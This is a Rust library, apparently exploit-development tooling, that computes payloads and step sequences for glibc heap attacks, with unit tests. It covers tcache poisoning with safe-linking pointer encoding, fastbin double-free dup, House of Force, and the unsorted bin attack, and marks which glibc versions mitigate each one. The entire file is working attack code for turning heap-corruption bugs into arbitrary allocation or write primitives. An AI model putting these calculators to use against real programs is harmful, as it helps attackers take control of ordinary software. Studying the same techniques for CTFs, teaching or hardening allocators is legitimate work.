#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
pub struct GlibcVersion {
pub major: u32,
pub minor: u32,
}
impl GlibcVersion {
pub fn new(major: u32, minor: u32) -> Self {
Self { major, minor }
}
pub fn has_safe_linking(&self) -> bool {
*self >= Self::new(2, 32)
}
pub fn has_tcache_key(&self) -> bool {
*self >= Self::new(2, 29)
}
pub fn has_top_size_check(&self) -> bool {
*self >= Self::new(2, 29)
}
pub fn has_unsorted_bin_check(&self) -> bool {
*self >= Self::new(2, 29)
}
pub fn has_random_tcache_key(&self) -> bool {
*self >= Self::new(2, 34)
}
}
impl std::fmt::Display for GlibcVersion {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "glibc {}.{}", self.major, self.minor)
}
}
pub fn safe_link_encode(pos: u64, ptr: u64) -> u64 {
(pos >> 12) ^ ptr
}
pub fn safe_link_decode(pos: u64, encoded: u64) -> u64 {
(pos >> 12) ^ encoded
}
#[derive(Debug, Clone)]
pub struct TcachePoisonPayload {
pub fd_value: u64,
pub mallocs_needed: usize,
pub alloc_size: usize,
pub safe_linked: bool,
pub steps: Vec<String>,
}
pub fn tcache_poison(
victim_chunk_addr: u64,
target_addr: u64,
alloc_size: usize,
glibc: GlibcVersion,
) -> TcachePoisonPayload {
let fd_addr = victim_chunk_addr + 16; let fd_value = if glibc.has_safe_linking() {
safe_link_encode(fd_addr, target_addr)
} else {
target_addr
};
let mut steps = vec![
format!("1. Overwrite fd at {:#x} with {:#x}", fd_addr, fd_value),
];
if glibc.has_safe_linking() {
steps.push(format!(
" (safe-linked: encode({:#x}, {:#x}) = {:#x})",
fd_addr, target_addr, fd_value,
));
}
steps.push(format!(
"2. malloc({}) -> returns victim chunk at {:#x}",
alloc_size, victim_chunk_addr
));
steps.push(format!(
"3. malloc({}) -> returns target at {:#x}",
alloc_size, target_addr
));
TcachePoisonPayload {
fd_value,
mallocs_needed: 2,
alloc_size,
safe_linked: glibc.has_safe_linking(),
steps,
}
}
#[derive(Debug, Clone)]
pub enum FastbinAction {
Free(String),
Alloc(String),
WriteFd(u64),
}
#[derive(Debug, Clone)]
pub struct FastbinDupPayload {
pub sequence: Vec<FastbinAction>,
pub fd_overwrite: u64,
pub alloc_size: usize,
pub needs_tcache_fill: bool,
pub steps: Vec<String>,
}
pub fn fastbin_dup(
target_addr: u64,
alloc_size: usize,
glibc: GlibcVersion,
) -> FastbinDupPayload {
let needs_tcache = glibc >= GlibcVersion::new(2, 26);
let mut sequence = Vec::new();
let mut steps = Vec::new();
if needs_tcache {
steps.push("Phase 1: Fill tcache bin (7 chunks)".into());
for i in 0..7 {
sequence.push(FastbinAction::Free(format!("T{}", i)));
}
steps.push(" free(T0) through free(T6) — fills tcache".into());
}
steps.push("Phase 2: Fastbin double-free".into());
sequence.push(FastbinAction::Free("A".into()));
sequence.push(FastbinAction::Free("B".into()));
sequence.push(FastbinAction::Free("A".into()));
steps.push(" free(A), free(B), free(A) — fastbin: A→B→A".into());
if needs_tcache {
steps.push("Phase 3: Drain tcache".into());
for i in 0..7 {
sequence.push(FastbinAction::Alloc(format!("T{}", i)));
}
steps.push(" malloc() × 7 — empties tcache, next allocs come from fastbin".into());
}
steps.push("Phase 4: Exploit".into());
sequence.push(FastbinAction::Alloc("A1".into()));
sequence.push(FastbinAction::WriteFd(target_addr));
steps.push(format!(" malloc() → A, write fd = {:#x}", target_addr));
sequence.push(FastbinAction::Alloc("B1".into()));
steps.push(" malloc() → B".into());
sequence.push(FastbinAction::Alloc("A2".into()));
steps.push(" malloc() → A (duplicate)".into());
sequence.push(FastbinAction::Alloc("TARGET".into()));
steps.push(format!(" malloc() → {:#x} (target!)", target_addr));
FastbinDupPayload {
sequence,
fd_overwrite: target_addr,
alloc_size,
needs_tcache_fill: needs_tcache,
steps,
}
}
#[derive(Debug, Clone)]
pub struct HouseOfForceCalc {
pub evil_size: u64,
pub distance_alloc: u64,
pub target_alloc: usize,
pub feasible: bool,
pub steps: Vec<String>,
}
pub fn house_of_force(
top_chunk_addr: u64,
target_addr: u64,
alloc_size: usize,
glibc: GlibcVersion,
) -> HouseOfForceCalc {
let feasible = !glibc.has_top_size_check();
let evil_size: u64 = 0xFFFF_FFFF_FFFF_FFFF;
let header_size = 2u64 * 8;
let top_data = top_chunk_addr.wrapping_add(header_size);
let distance = target_addr.wrapping_sub(top_data).wrapping_sub(header_size);
let mut steps = vec![
format!("1. Overflow top chunk size at {:#x} to {:#x}", top_chunk_addr + 8, evil_size),
format!("2. malloc({:#x}) — advances top to near target", distance),
format!("3. malloc({}) → returns near {:#x}", alloc_size, target_addr),
];
if !feasible {
steps.push(format!("WARNING: {} has top-size check — attack mitigated", glibc));
}
HouseOfForceCalc {
evil_size,
distance_alloc: distance,
target_alloc: alloc_size,
feasible,
steps,
}
}
#[derive(Debug, Clone)]
pub struct UnsortedBinPayload {
pub bk_value: u64,
pub written_value_description: String,
pub feasible: bool,
pub steps: Vec<String>,
}
pub fn unsorted_bin_attack(
victim_chunk_addr: u64,
target_addr: u64,
glibc: GlibcVersion,
) -> UnsortedBinPayload {
let bk_value = target_addr.wrapping_sub(0x10);
let feasible = !glibc.has_unsorted_bin_check();
let mut steps = vec![
format!("1. Overwrite victim bk at {:#x} with {:#x}", victim_chunk_addr + 24, bk_value),
"2. Trigger malloc that processes the unsorted bin".into(),
format!("3. *({:#x}) now contains a libc address (unsorted bin head)", target_addr),
];
if !feasible {
steps.push(format!("WARNING: {} validates bk — attack mitigated", glibc));
}
UnsortedBinPayload {
bk_value,
written_value_description: "main_arena.bins[0] (unsorted bin head)".into(),
feasible,
steps,
}
}
pub fn tcache_key_value(tcache_struct_addr: u64, glibc: GlibcVersion) -> Option<u64> {
if glibc.has_random_tcache_key() {
None } else if glibc.has_tcache_key() {
Some(tcache_struct_addr)
} else {
None }
}
pub fn request_to_chunk_size(request: usize) -> usize {
let size_sz = 8;
let malloc_align_mask = 0xF;
let min_size = 32;
let padded = (request + size_sz + malloc_align_mask) & !malloc_align_mask;
padded.max(min_size)
}
pub fn chunk_size_to_tcache_idx(chunk_size: usize) -> Option<usize> {
if !(32..=1040).contains(&chunk_size) || !chunk_size.is_multiple_of(16) {
return None;
}
Some(chunk_size / 16 - 2)
}
pub fn chunk_size_to_fastbin_idx(chunk_size: usize) -> Option<usize> {
if !(32..=176).contains(&chunk_size) || !chunk_size.is_multiple_of(16) {
return None;
}
Some(chunk_size / 16 - 2)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn safe_link_roundtrip() {
let pos = 0x555555559010u64;
let ptr = 0x555555559050u64;
let encoded = safe_link_encode(pos, ptr);
let decoded = safe_link_decode(pos, encoded);
assert_eq!(decoded, ptr);
}
#[test]
fn safe_link_encode_known() {
let pos = 0x555555559010u64;
let ptr = 0u64; assert_eq!(safe_link_encode(pos, ptr), pos >> 12);
}
#[test]
fn safe_link_zero_pos() {
assert_eq!(safe_link_encode(0, 0x1234), 0x1234);
assert_eq!(safe_link_decode(0, 0x1234), 0x1234);
}
#[test]
fn tcache_poison_no_safe_link() {
let payload = tcache_poison(0x555000, 0x7fff0000, 0x20, GlibcVersion::new(2, 27));
assert_eq!(payload.fd_value, 0x7fff0000);
assert!(!payload.safe_linked);
assert_eq!(payload.mallocs_needed, 2);
}
#[test]
fn tcache_poison_with_safe_link() {
let payload = tcache_poison(0x555000, 0x7fff0000, 0x20, GlibcVersion::new(2, 35));
assert!(payload.safe_linked);
let fd_addr = 0x555000 + 16;
assert_eq!(payload.fd_value, safe_link_encode(fd_addr, 0x7fff0000));
}
#[test]
fn fastbin_dup_no_tcache() {
let payload = fastbin_dup(0x601000, 0x20, GlibcVersion::new(2, 23));
assert!(!payload.needs_tcache_fill);
assert_eq!(payload.fd_overwrite, 0x601000);
}
#[test]
fn fastbin_dup_with_tcache() {
let payload = fastbin_dup(0x601000, 0x20, GlibcVersion::new(2, 31));
assert!(payload.needs_tcache_fill);
}
#[test]
fn house_of_force_old_glibc() {
let calc = house_of_force(0x602000, 0x601000, 0x20, GlibcVersion::new(2, 27));
assert!(calc.feasible);
assert_eq!(calc.evil_size, u64::MAX);
}
#[test]
fn house_of_force_new_glibc() {
let calc = house_of_force(0x602000, 0x601000, 0x20, GlibcVersion::new(2, 31));
assert!(!calc.feasible);
}
#[test]
fn unsorted_bin_bk_value() {
let payload = unsorted_bin_attack(0x602000, 0x601040, GlibcVersion::new(2, 27));
assert_eq!(payload.bk_value, 0x601040 - 0x10);
assert!(payload.feasible);
}
#[test]
fn unsorted_bin_mitigated() {
let payload = unsorted_bin_attack(0x602000, 0x601040, GlibcVersion::new(2, 31));
assert!(!payload.feasible);
}
#[test]
fn glibc_version_features() {
let old = GlibcVersion::new(2, 23);
assert!(!old.has_safe_linking());
assert!(!old.has_tcache_key());
assert!(!old.has_top_size_check());
let mid = GlibcVersion::new(2, 31);
assert!(!mid.has_safe_linking());
assert!(mid.has_tcache_key());
assert!(mid.has_top_size_check());
let new = GlibcVersion::new(2, 35);
assert!(new.has_safe_linking());
assert!(new.has_tcache_key());
assert!(new.has_random_tcache_key());
}
#[test]
fn request_to_chunk_size_minimum() {
assert_eq!(request_to_chunk_size(0), 32);
assert_eq!(request_to_chunk_size(1), 32);
assert_eq!(request_to_chunk_size(24), 32);
}
#[test]
fn request_to_chunk_size_alignment() {
assert_eq!(request_to_chunk_size(25), 48);
assert_eq!(request_to_chunk_size(0x18), 32); assert_eq!(request_to_chunk_size(0x28), 48); }
#[test]
fn tcache_idx_conversion() {
assert_eq!(chunk_size_to_tcache_idx(32), Some(0));
assert_eq!(chunk_size_to_tcache_idx(48), Some(1));
assert_eq!(chunk_size_to_tcache_idx(1040), Some(63));
assert_eq!(chunk_size_to_tcache_idx(1056), None); assert_eq!(chunk_size_to_tcache_idx(33), None); }
#[test]
fn fastbin_idx_conversion() {
assert_eq!(chunk_size_to_fastbin_idx(32), Some(0));
assert_eq!(chunk_size_to_fastbin_idx(176), Some(9));
assert_eq!(chunk_size_to_fastbin_idx(192), None); }
#[test]
fn tcache_key_versions() {
assert_eq!(tcache_key_value(0x5555, GlibcVersion::new(2, 27)), None);
assert_eq!(tcache_key_value(0x5555, GlibcVersion::new(2, 31)), Some(0x5555));
assert_eq!(tcache_key_value(0x5555, GlibcVersion::new(2, 35)), None);
}
}